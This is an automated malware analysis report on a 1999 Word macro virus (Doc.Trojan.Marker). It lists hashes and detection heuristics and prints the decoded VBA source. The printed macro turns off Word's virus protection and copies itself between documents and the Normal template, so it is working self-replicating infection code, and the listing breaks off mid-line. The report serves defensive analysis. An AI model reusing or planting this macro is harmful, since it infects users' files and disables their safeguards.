Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d6adb16ffa91064…

MALICIOUS

Office (OLE)

142.5 KB Created: 1999-11-11 12:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 369a4c087c9d015bf1c157c3c2d696cf SHA-1: e049ef5a884e9b3d429293a6d43f179dca356901 SHA-256: 1d6adb16ffa91064803d39e116d78885814589415b104304684297a0606e60d2
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing financial report text, but it also contains a VBA macro that executes upon opening or closing. This macro attempts to disable security settings and print specific page ranges, indicating a malicious intent to manipulate the document or system. The presence of VBA macros and the 'Document_Open' heuristic strongly suggest this is a macro-enabled malicious document, likely delivered via spearphishing.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5416 bytes
SHA-256: 8154aebe672eb86f88ce915e7cb945e83a948e1470774cf39a7f2c2a3c897611
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"

Private Sub CommandButton11_Click()
' Threat Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="19-46", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub

Private Sub CommandButton12_Click()
'
' Process Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="47-87", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub

Private Sub Main_Click()
'
' Main Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="1-18", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub


Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 =
... (truncated)

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